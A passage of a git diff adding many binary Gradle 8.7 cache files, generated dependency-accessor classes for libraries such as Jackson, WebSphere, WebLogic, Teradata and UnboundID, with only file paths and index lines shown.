b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComFasterxmlJacksonCoreLibraryAccessors.class new file mode 100644 index 0000000..fd93746 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComFasterxmlJacksonCoreLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComFasterxmlJacksonCoreVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComFasterxmlJacksonCoreVersionAccessors.class new file mode 100644 index 0000000..66899f0 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComFasterxmlJacksonCoreVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComFasterxmlJacksonLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComFasterxmlJacksonLibraryAccessors.class new file mode 100644 index 0000000..7d773c1 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComFasterxmlJacksonLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComFasterxmlJacksonVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComFasterxmlJacksonVersionAccessors.class new file mode 100644 index 0000000..f566b89 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComFasterxmlJacksonVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComFasterxmlLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComFasterxmlLibraryAccessors.class new file mode 100644 index 0000000..16e0bb8 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComFasterxmlLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComFasterxmlVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComFasterxmlVersionAccessors.class new file mode 100644 index 0000000..ba5afcb Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComFasterxmlVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmLibraryAccessors.class new file mode 100644 index 0000000..6cb0fc5 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmVersionAccessors.class new file mode 100644 index 0000000..a139c9d Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmLibraryAccessors.class new file mode 100644 index 0000000..63bfb17 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmVersionAccessors.class new file mode 100644 index 0000000..1d87140 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiLibraryAccessors.class new file mode 100644 index 0000000..235977f Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiVersionAccessors.class new file mode 100644 index 0000000..8df9117 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverApiVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverLibraryAccessors.class new file mode 100644 index 0000000..01b7f3e Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverVersionAccessors.class new file mode 100644 index 0000000..b6ef0f2 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmWebsphereAppserverVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmWebsphereLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmWebsphereLibraryAccessors.class new file mode 100644 index 0000000..2a667a5 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmWebsphereLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmWebsphereVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmWebsphereVersionAccessors.class new file mode 100644 index 0000000..c12b3d2 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComIbmWebsphereVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComLibraryAccessors.class new file mode 100644 index 0000000..7ddef26 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComVersionAccessors.class new file mode 100644 index 0000000..3eb3ab0 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiComVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiLibraryAccessors.class new file mode 100644 index 0000000..83956a3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiVersionAccessors.class new file mode 100644 index 0000000..b381445 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverApiVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverLibraryAccessors.class new file mode 100644 index 0000000..2012c0f Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverVersionAccessors.class new file mode 100644 index 0000000..77937e3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereAppserverVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereLibraryAccessors.class new file mode 100644 index 0000000..900e0b4 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereVersionAccessors.class new file mode 100644 index 0000000..f27bc4f Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComIbmWebsphereVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComLibraryAccessors.class new file mode 100644 index 0000000..8944644 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComMchangeLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComMchangeLibraryAccessors.class new file mode 100644 index 0000000..c0d33d4 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComMchangeLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComMchangeVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComMchangeVersionAccessors.class new file mode 100644 index 0000000..faaaa05 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComMchangeVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComNqzeroLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComNqzeroLibraryAccessors.class new file mode 100644 index 0000000..d04e9ee Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComNqzeroLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComNqzeroPermitLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComNqzeroPermitLibraryAccessors.class new file mode 100644 index 0000000..214ee69 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComNqzeroPermitLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComNqzeroPermitVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComNqzeroPermitVersionAccessors.class new file mode 100644 index 0000000..b295da4 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComNqzeroPermitVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComNqzeroVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComNqzeroVersionAccessors.class new file mode 100644 index 0000000..23d1bbc Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComNqzeroVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComOracleLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComOracleLibraryAccessors.class new file mode 100644 index 0000000..a65652d Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComOracleLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComOracleVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComOracleVersionAccessors.class new file mode 100644 index 0000000..05522a3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComOracleVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComOracleWeblogicLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComOracleWeblogicLibraryAccessors.class new file mode 100644 index 0000000..04a3e51 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComOracleWeblogicLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComOracleWeblogicVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComOracleWeblogicVersionAccessors.class new file mode 100644 index 0000000..38ad748 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComOracleWeblogicVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComOracleWeblogicWeblogicLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComOracleWeblogicWeblogicLibraryAccessors.class new file mode 100644 index 0000000..1d0a9b2 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComOracleWeblogicWeblogicLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComOracleWeblogicWeblogicVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComOracleWeblogicWeblogicVersionAccessors.class new file mode 100644 index 0000000..11a0ae0 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComOracleWeblogicWeblogicVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComTeradataJdbcLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComTeradataJdbcLibraryAccessors.class new file mode 100644 index 0000000..3dd67ed Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComTeradataJdbcLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComTeradataJdbcVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComTeradataJdbcVersionAccessors.class new file mode 100644 index 0000000..43fa3ed Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComTeradataJdbcVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComTeradataLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComTeradataLibraryAccessors.class new file mode 100644 index 0000000..2993c5c Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComTeradataLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComTeradataVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComTeradataVersionAccessors.class new file mode 100644 index 0000000..f4f51b7 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComTeradataVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComUnboundidLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComUnboundidLibraryAccessors.class new file mode 100644 index 0000000..5fa6ee3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComUnboundidLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComUnboundidUnboundidLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComUnboundidUnboundidLibraryAccessors.class new file mode 100644 index 0000000..0fc91bc Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComUnboundidUnboundidLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComUnboundidUnboundidVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComUnboundidUnboundidVersionAccessors.class new file mode 100644 index 0000000..09853b4 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComUnboundidUnboundidVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComUnboundidVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComUnboundidVersionAccessors.class new file mode 100644 index 0000000..9edfdf3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$ComUnboundidVersionAccessors.class differ diff --git 